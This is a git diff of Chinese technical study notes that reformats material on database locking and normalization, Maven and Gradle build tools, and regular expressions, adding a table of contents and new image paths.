-将当前系统版本号作为更新前的数据行快照的删除版本号，并将当前系统版本号作为更新后的数据行快照的创建版本号。可以理解为先执行 DELETE 后执行 INSERT。
+将当前系统版本号作为更新前的数据行快照的删除版本号，并将当前系统版本号作为更新后的数据行快照的创建版本号。可以理解为先执行 DELETE 后执行 INSERT。
 
-## 快照读与当前读
+## 快照读与当前读
 
-### 1. 快照读
+### 1. 快照读
 
-使用 MVCC 读取的是快照中的数据，这样可以减少加锁所带来的开销。
+使用 MVCC 读取的是快照中的数据，这样可以减少加锁所带来的开销。
 
 ```sql
-select * from table ...;
+select * from table ...;
 ```
 
-### 2. 当前读
+### 2. 当前读
 
-读取的是最新的数据，需要加锁。以下第一个语句需要加 S 锁，其它都需要加 X 锁。
+读取的是最新的数据，需要加锁。以下第一个语句需要加 S 锁，其它都需要加 X 锁。
 
 ```sql
-select * from table where ? lock in share mode;
-select * from table where ? for update;
+select * from table where ? lock in share mode;
+select * from table where ? for update;
 insert;
 update;
 delete;
 ```
 
-# 六、Next-Key Locks
+# 六、Next-Key Locks
 
-Next-Key Locks 是 MySQL 的 InnoDB 存储引擎的一种锁实现。
+Next-Key Locks 是 MySQL 的 InnoDB 存储引擎的一种锁实现。
 
-MVCC 不能解决幻读的问题，Next-Key Locks 就是为了解决这个问题而存在的。在可重复读（REPEATABLE READ）隔离级别下，使用 MVCC + Next-Key Locks 可以解决幻读问题。
+MVCC 不能解决幻读的问题，Next-Key Locks 就是为了解决这个问题而存在的。在可重复读（REPEATABLE READ）隔离级别下，使用 MVCC + Next-Key Locks 可以解决幻读问题。
 
-## Record Locks
+## Record Locks
 
 锁定一个记录上的索引，而不是记录本身。
 
-如果表没有设置索引，InnoDB 会自动在主键上创建隐藏的聚簇索引，因此 Record Locks 依然可以使用。
+如果表没有设置索引，InnoDB 会自动在主键上创建隐藏的聚簇索引，因此 Record Locks 依然可以使用。
 
-## Gap Locks
+## Gap Locks
 
-锁定索引之间的间隙，但是不包含索引本身。例如当一个事务执行以下语句，其它事务就不能在 t.c 中插入 15。
+锁定索引之间的间隙，但是不包含索引本身。例如当一个事务执行以下语句，其它事务就不能在 t.c 中插入 15。
 
 ```sql
-SELECT c FROM t WHERE c BETWEEN 10 and 20 FOR UPDATE;
+SELECT c FROM t WHERE c BETWEEN 10 and 20 FOR UPDATE;
 ```
 
-## Next-Key Locks
+## Next-Key Locks
 
-它是 Record Locks 和 Gap Locks 的结合，不仅锁定一个记录上的索引，也锁定索引之间的间隙。例如一个索引包含以下值：10, 11, 13, and 20，那么就需要锁定以下区间：
+它是 Record Locks 和 Gap Locks 的结合，不仅锁定一个记录上的索引，也锁定索引之间的间隙。例如一个索引包含以下值：10, 11, 13, and 20，那么就需要锁定以下区间：
 
 ```sql
-(negative infinity, 10]
-(10, 11]
-(11, 13]
-(13, 20]
-(20, positive infinity)
+(negative infinity, 10]
+(10, 11]
+(11, 13]
+(13, 20]
+(20, positive infinity)
 ```
 
-# 七、关系数据库设计理论
+# 七、关系数据库设计理论
 
-## 函数依赖
+## 函数依赖
 
-记 A->B 表示 A 函数决定 B，也可以说 B 函数依赖于 A。
+记 A->B 表示 A 函数决定 B，也可以说 B 函数依赖于 A。
 
-如果 {A1，A2，... ，An} 是关系的一个或多个属性的集合，该集合函数决定了关系的其它所有属性并且是最小的，那么该集合就称为键码。
+如果 {A1，A2，... ，An} 是关系的一个或多个属性的集合，该集合函数决定了关系的其它所有属性并且是最小的，那么该集合就称为键码。
 
-对于 A->B，如果能找到 A 的真子集 A'，使得 A'-> B，那么 A->B 就是部分函数依赖，否则就是完全函数依赖。
+对于 A->B，如果能找到 A 的真子集 A'，使得 A'-> B，那么 A->B 就是部分函数依赖，否则就是完全函数依赖。
 
-对于 A->B，B->C，则 A->C 是一个传递函数依赖。
+对于 A->B，B->C，则 A->C 是一个传递函数依赖。
 
-## 异常
+## 异常
 
-以下的学生课程关系的函数依赖为 Sno, Cname -> Sname, Sdept, Mname, Grade，键码为 {Sno, Cname}。也就是说，确定学生和课程之后，就能确定其它信息。
+以下的学生课程关系的函数依赖为 Sno, Cname -> Sname, Sdept, Mname, Grade，键码为 {Sno, Cname}。也就是说，确定学生和课程之后，就能确定其它信息。
 
-| Sno | Sname | Sdept | Mname | Cname | Grade |
-| :---: | :---: | :---: | :---: | :---: |:---:|
-| 1 | 学生-1 | 学院-1 | 院长-1 | 课程-1 | 90 |
-| 2 | 学生-2 | 学院-2 | 院长-2 | 课程-2 | 80 |
-| 2 | 学生-2 | 学院-2 | 院长-2 | 课程-1 | 100 |
-| 3 | 学生-3 | 学院-2 | 院长-2 | 课程-2 | 95 |
+| Sno | Sname | Sdept | Mname | Cname | Grade |
+| :---: | :---: | :---: | :---: | :---: |:---:|
+| 1 | 学生-1 | 学院-1 | 院长-1 | 课程-1 | 90 |
+| 2 | 学生-2 | 学院-2 | 院长-2 | 课程-2 | 80 |
+| 2 | 学生-2 | 学院-2 | 院长-2 | 课程-1 | 100 |
+| 3 | 学生-3 | 学院-2 | 院长-2 | 课程-2 | 95 |
 
 不符合范式的关系，会产生很多异常，主要有以下四种异常：
 
-- 冗余数据：例如 `学生-2` 出现了两次。
-- 修改异常：修改了一个记录中的信息，但是另一个记录中相同的信息却没有被修改。
-- 删除异常：删除一个信息，那么也会丢失其它信息。例如删除了 `课程-1` 需要删除第一行和第三行，那么 `学生-1` 的信息就会丢失。
-- 插入异常：例如想要插入一个学生的信息，如果这个学生还没选课，那么就无法插入。
+- 冗余数据：例如 `学生-2` 出现了两次。
+- 修改异常：修改了一个记录中的信息，但是另一个记录中相同的信息却没有被修改。
+- 删除异常：删除一个信息，那么也会丢失其它信息。例如删除了 `课程-1` 需要删除第一行和第三行，那么 `学生-1` 的信息就会丢失。
+- 插入异常：例如想要插入一个学生的信息，如果这个学生还没选课，那么就无法插入。
 
-## 范式
+## 范式
 
 范式理论是为了解决以上提到四种异常。
 
-高级别范式的依赖于低级别的范式，1NF 是最低级别的范式。
+高级别范式的依赖于低级别的范式，1NF 是最低级别的范式。
 
-<img src="index_files/c2d343f7-604c-4856-9a3c-c71d6f67fecc.png" width="300"/>
+<div align="center"> <img src="pics/c2d343f7-604c-4856-9a3c-c71d6f67fecc.png" width="300"/> </div><br>
 
-### 1. 第一范式 (1NF)
+### 1. 第一范式 (1NF)
 
 属性不可分。
 
-### 2. 第二范式 (2NF)
+### 2. 第二范式 (2NF)
 
 每个非主属性完全函数依赖于键码。
 
 可以通过分解来满足。
 
-<font size=4>**分解前**</font><br>
+<font size=4> **分解前** </font><br>
 
-| Sno | Sname | Sdept | Mname | Cname | Grade |
-| :---: | :---: | :---: | :---: | :---: |:---:|
-| 1 | 学生-1 | 学院-1 | 院长-1 | 课程-1 | 90 |
-| 2 | 学生-2 | 学院-2 | 院长-2 | 课程-2 | 80 |
-| 2 | 学生-2 | 学院-2 | 院长-2 | 课程-1 | 100 |
-| 3 | 学生-3 | 学院-2 | 院长-2 | 课程-2 | 95 |
+| Sno | Sname | Sdept | Mname | Cname | Grade |
+| :---: | :---: | :---: | :---: | :---: |:---:|
+| 1 | 学生-1 | 学院-1 | 院长-1 | 课程-1 | 90 |
+| 2 | 学生-2 | 学院-2 | 院长-2 | 课程-2 | 80 |
+| 2 | 学生-2 | 学院-2 | 院长-2 | 课程-1 | 100 |
+| 3 | 学生-3 | 学院-2 | 院长-2 | 课程-2 | 95 |
 
-以上学生课程关系中，{Sno, Cname} 为键码，有如下函数依赖：
+以上学生课程关系中，{Sno, Cname} 为键码，有如下函数依赖：
 
-- Sno -> Sname, Sdept
-- Sdept -> Mname
-- Sno, Cname-> Grade
+- Sno -> Sname, Sdept
+- Sdept -> Mname
+- Sno, Cname-> Grade
 
-Grade 完全函数依赖于键码，它没有任何冗余数据，每个学生的每门课都有特定的成绩。
+Grade 完全函数依赖于键码，它没有任何冗余数据，每个学生的每门课都有特定的成绩。
 
-Sname, Sdept 和 Mname 都部分依赖于键码，当一个学生选修了多门课时，这些数据就会出现多次，造成大量冗余数据。
+Sname, Sdept 和 Mname 都部分依赖于键码，当一个学生选修了多门课时，这些数据就会出现多次，造成大量冗余数据。
 
-<font size=4>**分解后**</font><br>
+<font size=4> **分解后** </font><br>
 
 关系-1
 
-| Sno | Sname | Sdept | Mname |
-| :---: | :---: | :---: | :---: |
-| 1 | 学生-1 | 学院-1 | 院长-1 |
-| 2 | 学生-2 | 学院-2 | 院长-2 |
-| 3 | 学生-3 | 学院-2 | 院长-2 |
+| Sno | Sname | Sdept | Mname |
+| :---: | :---: | :---: | :---: |
+| 1 | 学生-1 | 学院-1 | 院长-1 |
+| 2 | 学生-2 | 学院-2 | 院长-2 |
+| 3 | 学生-3 | 学院-2 | 院长-2 |
 
 有以下函数依赖：
 
-- Sno -> Sname, Sdept
-- Sdept -> Mname
+- Sno -> Sname, Sdept
+- Sdept -> Mname
 
 关系-2
 
-| Sno | Cname | Grade |
-| :---: | :---: |:---:|
-| 1 | 课程-1 | 90 |
-| 2 | 课程-2 | 80 |
-| 2 | 课程-1 | 100 |
-| 3 | 课程-2 | 95 |
+| Sno | Cname | Grade |
+| :---: | :---: |:---:|
+| 1 | 课程-1 | 90 |
+| 2 | 课程-2 | 80 |
+| 2 | 课程-1 | 100 |
+| 3 | 课程-2 | 95 |
 
 有以下函数依赖：
 
-- Sno, Cname ->  Grade
+- Sno, Cname ->  Grade
 
-### 3. 第三范式 (3NF)
+### 3. 第三范式 (3NF)
 
 非主属性不传递函数依赖于键码。
 
-上面的 关系-1 中存在以下传递函数依赖：
+上面的 关系-1 中存在以下传递函数依赖：
 
-- Sno -> Sdept -> Mname
+- Sno -> Sdept -> Mname
 
 可以进行以下分解：
 
 关系-11
 
-| Sno | Sname | Sdept |
-| :---: | :---: | :---: |
-| 1 | 学生-1 | 学院-1 |
-| 2 | 学生-2 | 学院-2 |
-| 3 | 学生-3 | 学院-2 |
+| Sno | Sname | Sdept |
+| :---: | :---: | :---: |
+| 1 | 学生-1 | 学院-1 |
+| 2 | 学生-2 | 学院-2 |
+| 3 | 学生-3 | 学院-2 |
 
 关系-12
 
-| Sdept | Mname |
-| :---: | :---: |
-| 学院-1 | 院长-1 |
-| 学院-2 | 院长-2 |
+| Sdept | Mname |
+| :---: | :---: |
+| 学院-1 | 院长-1 |
+| 学院-2 | 院长-2 |
 
-# 八、ER 图
+# 八、ER 图
 
 Entity-Relationship，有三个组成部分：实体、属性、联系。
 
 用来进行关系型数据库系统的概念设计。
 
-## 实体的三种联系
+## 实体的三种联系
 
 包含一对一，一对多，多对多三种。
 
-- 如果 A 到 B 是一对多关系，那么画个带箭头的线段指向 B；
-- 如果是一对一，画两个带箭头的线段；
-- 如果是多对多，画两个不带箭头的线段。
+- 如果 A 到 B 是一对多关系，那么画个带箭头的线段指向 B；
+- 如果是一对一，画两个带箭头的线段；
+- 如果是多对多，画两个不带箭头的线段。
 
-下图的 Course 和 Student 是一对多的关系。
+下图的 Course 和 Student 是一对多的关系。
 
-<img src="index_files/292b4a35-4507-4256-84ff-c218f108ee31.jpg" width=""/>
+<div align="center"> <img src="pics/292b4a35-4507-4256-84ff-c218f108ee31.jpg" width=""/> </div><br>
 
-## 表示出现多次的关系
+## 表示出现多次的关系
 
 一个实体在联系出现几次，就要用几条线连接。
 
-下图表示一个课程的先修关系，先修关系出现两个 Course 实体，第一个是先修课程，后一个是后修课程，因此需要用两条线来表示这种关系。
+下图表示一个课程的先修关系，先修关系出现两个 Course 实体，第一个是先修课程，后一个是后修课程，因此需要用两条线来表示这种关系。
 
-<img src="index_files/8b798007-e0fb-420c-b981-ead215692417.jpg" width=""/>
+<div align="center"> <img src="pics/8b798007-e0fb-420c-b981-ead215692417.jpg" width=""/> </div><br>
 
-## 联系的多向性
+## 联系的多向性
 
 虽然老师可以开设多门课，并且可以教授多名学生，但是对于特定的学生和课程，只有一个老师教授，这就构成了一个三元联系。
 
-<img src="index_files/423f2a40-bee1-488e-b460-8e76c48ee560.png" width=""/>
+<div align="center"> <img src="pics/423f2a40-bee1-488e-b460-8e76c48ee560.png" width=""/> </div><br>
 
 一般只使用二元联系，可以把多元联系转换为二元联系。
 
-<img src="index_files/de9b9ea0-1327-4865-93e5-6f805c48bc9e.png" width=""/>
+<div align="center"> <img src="pics/de9b9ea0-1327-4865-93e5-6f805c48bc9e.png" width=""/> </div><br>
 
-## 表示子类
+## 表示子类
 
 用一个三角形和两条线来连接类和子类，与子类有关的属性和联系都连到子类上，而与父类和子类都有关的连到父类上。
 
-<img src="index_files/7ec9d619-fa60-4a2b-95aa-bf1a62aad408.jpg" width=""/>
+<div align="center"> <img src="pics/7ec9d619-fa60-4a2b-95aa-bf1a62aad408.jpg" width=""/> </div><br>
 
-# 参考资料
+# 参考资料
 
-- AbrahamSilberschatz, HenryF.Korth, S.Sudarshan, 等. 数据库系统概念 [M]. 机械工业出版社, 2006.
-- 施瓦茨. 高性能 MYSQL(第3版)[M]. 电子工业出版社, 2013.
-- 史嘉权. 数据库系统概论[M]. 清华大学出版社有限公司, 2006.
-- [The InnoDB Storage Engine](https://dev.mysql.com/doc/refman/5.7/en/innodb-storage-engine.html)
-- [Transaction isolation levels](https://www.slideshare.net/ErnestoHernandezRodriguez/transaction-isolation-levels)
-- [Concurrency Control](http://scanftree.com/dbms/2-phase-locking-protocol)
-- [The Nightmare of Locking, Blocking and Isolation Levels!](https://www.slideshare.net/brshristov/the-nightmare-of-locking-blocking-and-isolation-levels-46391666)
-- [Database Normalization and Normal Forms with an Example](https://aksakalli.github.io/2012/03/12/database-normalization-and-normal-forms-with-an-example.html)
-- [The basics of the InnoDB undo logging and history system](https://blog.jcole.us/2014/04/16/the-basics-of-the-innodb-undo-logging-and-history-system/)
-- [MySQL locking for the busy web developer](https://www.brightbox.com/blog/2013/10/31/on-mysql-locks/)
-- [浅入浅出 MySQL 和 InnoDB](https://draveness.me/mysql-innodb)
-- [Innodb 中的事务隔离级别和锁的关系](https://tech.meituan.com/2014/08/20/innodb-lock.html)
----bottom---CyC---
-![](index_files/bae98438-7db6-41a6-893e-8813248f2f92.jpg)
-![](index_files/6675d713-8b59-4067-ad16-fdd538d4bb43.png)
-![](index_files/d5dfeb74-a27a-43b8-9121-191d3cb75198.png)
-![](index_files/16eea7d2-f5f5-4180-93be-dba7d4e48f5d.png)
-![](index_files/036c0e07-0725-4b3c-a684-ab3b16ca7b86.png)
-![](index_files/2c437953-08b1-47b9-a780-7dfdc90a3b6f.png)
-![](index_files/1a851e90-0d5c-4d4f-ac54-34c20ecfb903.jpg)
-![](index_files/e41405a8-7c05-4f70-8092-e961e28d3112.jpg)
-![](index_files/c2d343f7-604c-4856-9a3c-c71d6f67fecc.png)
-![](index_files/292b4a35-4507-4256-84ff-c218f108ee31.jpg)
-![](index_files/8b798007-e0fb-420c-b981-ead215692417.jpg)
-![](index_files/423f2a40-bee1-488e-b460-8e76c48ee560.png)
-![](index_files/de9b9ea0-1327-4865-93e5-6f805c48bc9e.png)
-![](index_files/7ec9d619-fa60-4a2b-95aa-bf1a62aad408.jpg)
+- AbrahamSilberschatz, HenryF.Korth, S.Sudarshan, 等. 数据库系统概念 [M]. 机械工业出版社, 2006.
+- 施瓦茨. 高性能 MYSQL(第3版)[M]. 电子工业出版社, 2013.
+- 史嘉权. 数据库系统概论[M]. 清华大学出版社有限公司, 2006.
+- [The InnoDB Storage Engine](https://dev.mysql.com/doc/refman/5.7/en/innodb-storage-engine.html)
+- [Transaction isolation levels](https://www.slideshare.net/ErnestoHernandezRodriguez/transaction-isolation-levels)
+- [Concurrency Control](http://scanftree.com/dbms/2-phase-locking-protocol)
+- [The Nightmare of Locking, Blocking and Isolation Levels!](https://www.slideshare.net/brshristov/the-nightmare-of-locking-blocking-and-isolation-levels-46391666)
+- [Database Normalization and Normal Forms with an Example](https://aksakalli.github.io/2012/03/12/database-normalization-and-normal-forms-with-an-example.html)
+- [The basics of the InnoDB undo logging and history system](https://blog.jcole.us/2014/04/16/the-basics-of-the-innodb-undo-logging-and-history-system/)
+- [MySQL locking for the busy web developer](https://www.brightbox.com/blog/2013/10/31/on-mysql-locks/)
+- [浅入浅出 MySQL 和 InnoDB](https://draveness.me/mysql-innodb)
+- [Innodb 中的事务隔离级别和锁的关系](https://tech.meituan.com/2014/08/20/innodb-lock.html)
diff --git a/docs/notes/构建工具.md b/docs/notes/构建工具.md
index c0a731c0..cb07e5c9 100644
--- a/docs/notes/构建工具.md
+++ b/docs/notes/构建工具.md
@@ -1,133 +1,142 @@
-# 一、构建工具的作用
+[🎉 面试进阶指南已上线](https://xiaozhuanlan.com/CyC2018)
+<!-- GFM-TOC -->
+* [一、构建工具的作用](#一构建工具的作用)
+* [二、Java 主流构建工具](#二java-主流构建工具)
+* [三、Maven](#三maven)
+* [参考资料](#参考资料)
+<!-- GFM-TOC -->
+
+
+# 一、构建工具的作用
 
 构建工具是用于构建项目的自动化工具，主要包含以下工作：
 
-## 依赖管理
+## 依赖管理
 
-不再需要手动导入 Jar 依赖包，并且可以自动处理依赖关系，也就是说某个依赖如果依赖于其它依赖，构建工具可以帮助我们自动处理这种依赖管理。
+不再需要手动导入 Jar 依赖包，并且可以自动处理依赖关系，也就是说某个依赖如果依赖于其它依赖，构建工具可以帮助我们自动处理这种依赖管理。
 
-## 运行单元测试
+## 运行单元测试
 
 不再需要在项目代码中添加测试代码，从而避免了污染项目代码。
 
-## 将源代码转化为可执行文件
+## 将源代码转化为可执行文件
 
 包含预处理、编译、汇编、链接等步骤。
 
-## 将可执行文件进行打包
+## 将可执行文件进行打包
 
-不再需要使用 IDE 将应用程序打包成 Jar 包。
+不再需要使用 IDE 将应用程序打包成 Jar 包。
 
-## 发布到生产服务器上
+## 发布到生产服务器上
 
-不再需要通过 FTP 将 Jar 包上传到服务器上。
+不再需要通过 FTP 将 Jar 包上传到服务器上。
 
-# 二、Java 主流构建工具
+# 二、Java 主流构建工具
 
-主要包括 Ant、Maven 和 Gradle。
+主要包括 Ant、Maven 和 Gradle。
 
-![](index_files/897503d0-59e3-4752-903d-529fbdb72fee.jpg)
+<div align="center"> <img src="pics/897503d0-59e3-4752-903d-529fbdb72fee.jpg"/> </div><br>
 
-Gradle 和 Maven 的区别是，它使用 Groovy 这种特定领域语言（DSL）来管理构建脚本，而不再使用 XML 这种标记性语言。因为项目如果庞大的话，XML 很容易就变得臃肿。
+Gradle 和 Maven 的区别是，它使用 Groovy 这种特定领域语言（DSL）来管理构建脚本，而不再使用 XML 这种标记性语言。因为项目如果庞大的话，XML 很容易就变得臃肿。
 
-例如要在项目中引入 Junit，Maven 的代码如下：
+例如要在项目中引入 Junit，Maven 的代码如下：
 
 ```xml
-<?xml version="1.0" encoding="UTF-8"?>
-<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-  xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
-   <modelVersion>4.0.0</modelVersion>
- 
-   <groupId>jizg.study.maven.hello</groupId>
-   <artifactId>hello-first</artifactId>
-   <version>0.0.1-SNAPSHOT</version>
+<?xml version="1.0" encoding="UTF-8"?>
+<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+  xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
+   <modelVersion>4.0.0</modelVersion>
+ 
+   <groupId>jizg.study.maven.hello</groupId>
+   <artifactId>hello-first</artifactId>
+   <version>0.0.1-SNAPSHOT</version>
 
-   <dependencies>
-          <dependency>
-               <groupId>junit</groupId>
-               <artifactId>junit</artifactId>
-               <version>4.10</version>
-               <scope>test</scope>
-          </dependency>
-   </dependencies>
+   <dependencies>
+          <dependency>
+               <groupId>junit</groupId>
+               <artifactId>junit</artifactId>
+               <version>4.10</version>
+               <scope>test</scope>
+          </dependency>
+   </dependencies>
 </project>
 ```
 
-而 Gradle 只需要几行代码：
+而 Gradle 只需要几行代码：
 
 ```java
-dependencies {
-    testCompile "junit:junit:4.10"
+dependencies {
+    testCompile "junit:junit:4.10"
 }
 ```
 
-# 三、Maven
+# 三、Maven
 
-## 概述
+## 概述
 
 提供了项目对象模型（POM）文件来管理项目的构建。
 
-## 仓库
+## 仓库
 
 仓库的搜索顺序为：本地仓库、中央仓库、远程仓库。
 
-- 本地仓库用来存储项目的依赖库；
-- 中央仓库是下载依赖库的默认位置；
-- 远程仓库，因为并非所有的库存储在中央仓库，或者中央仓库访问速度很慢，远程仓库是中央仓库的补充。
+- 本地仓库用来存储项目的依赖库；
+- 中央仓库是下载依赖库的默认位置；
+- 远程仓库，因为并非所有的库存储在中央仓库，或者中央仓库访问速度很慢，远程仓库是中央仓库的补充。
 
-## POM
+## POM
 
-POM 代表项目对象模型，它是一个 XML 文件，保存在项目根目录的 pom.xml 文件中。
+POM 代表项目对象模型，它是一个 XML 文件，保存在项目根目录的 pom.xml 文件中。
 
 ```xml
 <dependency>
-    <groupId>junit</groupId>
-    <artifactId>junit</artifactId>
-    <version>4.12</version>
-    <scope>test</scope>
+    <groupId>junit</groupId>
+    <artifactId>junit</artifactId>
+    <version>4.12</version>
+    <scope>test</scope>
 </dependency>
 ```
 
-[groupId, artifactId, version, packaging, classifier] 称为一个项目的坐标，其中 groupId、artifactId、version 必须定义，packaging 可选（默认为 Jar），classifier 不能直接定义的，需要结合插件使用。
+[groupId, artifactId, version, packaging, classifier] 称为一个项目的坐标，其中 groupId、artifactId、version 必须定义，packaging 可选（默认为 Jar），classifier 不能直接定义的，需要结合插件使用。
 
 
-- groupId：项目组 Id，必须全球唯一；
-- artifactId：项目 Id，即项目名；
-- version：项目版本；
-- packaging：项目打包方式。
+- groupId：项目组 Id，必须全球唯一；
+- artifactId：项目 Id，即项目名；
+- version：项目版本；
+- packaging：项目打包方式。
 
-## 依赖原则
+## 依赖原则
 
-### 1. 依赖路径最短优先原则
+### 1. 依赖路径最短优先原则
 
 ```html
-A -> B -> C -> X(1.0)
-A -> D -> X(2.0)
+A -> B -> C -> X(1.0)
+A -> D -> X(2.0)
 ```
-由于 X(2.0) 路径最短，所以使用 X(2.0)。
+由于 X(2.0) 路径最短，所以使用 X(2.0)。
 
-### 2. 声明顺序优先原则
+### 2. 声明顺序优先原则
 
 ```html
-A -> B -> X(1.0)
-A -> C -> X(2.0)
+A -> B -> X(1.0)
+A -> C -> X(2.0)
 ```
 
-在 POM 中最先声明的优先，上面的两个依赖如果先声明 B，那么最后使用 X(1.0)。
+在 POM 中最先声明的优先，上面的两个依赖如果先声明 B，那么最后使用 X(1.0)。
 
-### 3. 覆写优先原则
+### 3. 覆写优先原则
 
-子 POM 内声明的依赖优先于父 POM 中声明的依赖。
+子 POM 内声明的依赖优先于父 POM 中声明的依赖。
 
-## 解决依赖冲突
+## 解决依赖冲突
 
-找到 Maven 加载的 Jar 包版本，使用 `mvn dependency:tree` 查看依赖树，根据依赖原则来调整依赖在 POM 文件的声明顺序。
+找到 Maven 加载的 Jar 包版本，使用 `mvn dependency:tree` 查看依赖树，根据依赖原则来调整依赖在 POM 文件的声明顺序。
 
-# 参考资料
+# 参考资料
 
-- [POM Reference](http://maven.apache.org/pom.html#Dependency_Version_Requirement_Specification)
-- [What is a build tool?](https://stackoverflow.com/questions/7249871/what-is-a-build-tool)
-- [Java Build Tools Comparisons: Ant vs Maven vs Gradle](https://programmingmitra.blogspot.com/2016/05/java-build-tools-comparisons-ant-vs.html)
-- [maven 2 gradle](http://sagioto.github.io/maven2gradle/)
-- [新一代构建工具 gradle](https://www.imooc.com/learn/833)
+- [POM Reference](http://maven.apache.org/pom.html#Dependency_Version_Requirement_Specification)
+- [What is a build tool?](https://stackoverflow.com/questions/7249871/what-is-a-build-tool)
+- [Java Build Tools Comparisons: Ant vs Maven vs Gradle](https://programmingmitra.blogspot.com/2016/05/java-build-tools-comparisons-ant-vs.html)
+- [maven 2 gradle](http://sagioto.github.io/maven2gradle/)
+- [新一代构建工具 gradle](https://www.imooc.com/learn/833)
 
diff --git a/docs/notes/正则表达式.md b/docs/notes/正则表达式.md
index e6f51ee3..16d96122 100644
--- a/docs/notes/正则表达式.md
+++ b/docs/notes/正则表达式.md
@@ -1,4 +1,20 @@
-# 一、概述
+[🎉 面试进阶指南已上线](https://xiaozhuanlan.com/CyC2018)
+<!-- GFM-TOC -->
+* [一、概述](#一概述)
+* [二、匹配单个字符](#二匹配单个字符)
+* [三、匹配一组字符](#三匹配一组字符)
+* [四、使用元字符](#四使用元字符)
+* [五、重复匹配](#五重复匹配)
+* [六、位置匹配](#六位置匹配)
+* [七、使用子表达式](#七使用子表达式)
+* [八、回溯引用](#八回溯引用)
+* [九、前后查找](#九前后查找)
+* [十、嵌入条件](#十嵌入条件)
+* [参考资料](#参考资料)
+<!-- GFM-TOC -->
+
+
+# 一、概述
 
 正则表达式用于文本内容的查找和替换。
 
@@ -6,368 +22,368 @@
 
 [正则表达式在线工具](https://regexr.com/)
 
-# 二、匹配单个字符
+# 二、匹配单个字符
 
-**.** 可以用来匹配任何的单个字符，但是在绝大多数实现里面，不能匹配换行符；
+**.**  可以用来匹配任何的单个字符，但是在绝大多数实现里面，不能匹配换行符；
 
-**.** 是元字符，表示它有特殊的含义，而不是字符本身的含义。如果需要匹配 . ，那么要用 \ 进行转义，即在 . 前面加上 \ 。
+**.**  是元字符，表示它有特殊的含义，而不是字符本身的含义。如果需要匹配 . ，那么要用 \ 进行转义，即在 . 前面加上 \ 。
 
 正则表达式一般是区分大小写的，但是也有些实现是不区分。
 
-**正则表达式**
+**正则表达式** 
 
 ```
 nam.
 ```
 
-**匹配结果**
+**匹配结果** 
 
-My **name** is Zheng.
+My  **name**  is Zheng.
 
-# 三、匹配一组字符
+# 三、匹配一组字符
 
-**[ ]** 定义一个字符集合；
+**[ ]**  定义一个字符集合；
 
-0-9、a-z 定义了一个字符区间，区间使用 ASCII 码来确定，字符区间在 [ ] 中使用。
+0-9、a-z 定义了一个字符区间，区间使用 ASCII 码来确定，字符区间在 [ ] 中使用。
 
-**-** 只有在 [ ] 之间才是元字符，在 [ ] 之外就是一个普通字符；
+**-**  只有在 [ ] 之间才是元字符，在 [ ] 之外就是一个普通字符；
 
-**^** 在 [ ] 中是取非操作。
+**^**  在 [ ] 中是取非操作。
 
-**应用**
+**应用** 
 
-匹配以 abc 为开头，并且最后一个字母不为数字的字符串：
+匹配以 abc 为开头，并且最后一个字母不为数字的字符串：
 
-**正则表达式**
+**正则表达式** 
 
 ```
 abc[^0-9]
 ```
 
-**匹配结果**
+**匹配结果** 
 
-1. **abcd**
-2. abc1
-3. abc2
+1.  **abcd** 
+2. abc1
+3. abc2
 
-# 四、使用元字符
+# 四、使用元字符
 
-## 匹配空白字符
+## 匹配空白字符
 
-|  元字符 | 说明  |
-| :---: | :---: |
-|  [\b] | 回退（删除）一个字符   |
-|  \f |  换页符 |
-|  \n |  换行符 |
-|  \r |  回车符 |
-|  \t |  制表符 |
-|  \v |  垂直制表符 |
+|  元字符 | 说明  |
+| :---: | :---: |
+|  [\b] | 回退（删除）一个字符   |
+|  \f |  换页符 |
+|  \n |  换行符 |
+|  \r |  回车符 |
+|  \t |  制表符 |
+|  \v |  垂直制表符 |
 
-\r\n 是 Windows 中的文本行结束标签，在 Unix/Linux 则是 \n。
+\r\n 是 Windows 中的文本行结束标签，在 Unix/Linux 则是 \n。
 
-\r\n\r\n 可以匹配 Windows 下的空白行，因为它将匹配两个连续的行尾标签，而这正是两条记录之间的空白行；
+\r\n\r\n 可以匹配 Windows 下的空白行，因为它将匹配两个连续的行尾标签，而这正是两条记录之间的空白行；
 
-## 匹配特定的字符类别
+## 匹配特定的字符类别
 
-### 1. 数字元字符
+### 1. 数字元字符
 
-|  元字符 | 说明  |
-| :---: | :---: |
-| \d  | 数字字符，等价于 [0-9]  |
-| \D  | 非数字字符，等价于 [^0-9]   |
+|  元字符 | 说明  |
+| :---: | :---: |
+| \d  | 数字字符，等价于 [0-9]  |
+| \D  | 非数字字符，等价于 [^0-9]   |
 
-### 2. 字母数字元字符
+### 2. 字母数字元字符
 
-|  元字符 | 说明  |
-| :---: | :---: |
-| \w  |  大小写字母，下划线和数字，等价于 [a-zA-Z0-9\_] |
-|  \W |  对 \w 取非 |
+|  元字符 | 说明  |
+| :---: | :---: |
+| \w  |  大小写字母，下划线和数字，等价于 [a-zA-Z0-9\_] |
+|  \W |  对 \w 取非 |
 
-### 3. 空白字符元字符
+### 3. 空白字符元字符
 
-| 元字符  | 说明  |
-| :---: | :---: |
-|  \s | 任何一个空白字符，等价于 [\f\n\r\t\v]  |
-| \S  |  对 \s 取非  |
+| 元字符  | 说明  |
+| :---: | :---: |
+|  \s | 任何一个空白字符，等价于 [\f\n\r\t\v]  |
+| \S  |  对 \s 取非  |
 
-\x 匹配十六进制字符，\0 匹配八进制，例如 \x0A 对应 ASCII 字符 10，等价于 \n。
+\x 匹配十六进制字符，\0 匹配八进制，例如 \x0A 对应 ASCII 字符 10，等价于 \n。
 
-# 五、重复匹配
+# 五、重复匹配
 
-- **\+** 匹配 1 个或者多个字符
-- **\*** 匹配 0 个或者多个
-- **?** 匹配 0 个或者 1 个
+-  **\+**  匹配 1 个或者多个字符
+-  **\** * 匹配 0 个或者多个
+-  **?**  匹配 0 个或者 1 个
 
-**应用**
+**应用** 
 
 匹配邮箱地址。
 
-**正则表达式**
+**正则表达式** 
 
 ```
 [\w.]+@\w+\.\w+
 ```
 
-[\w.] 匹配的是字母数字或者 . ，在其后面加上 + ，表示匹配多次。在字符集合 [ ] 里，. 不是元字符；
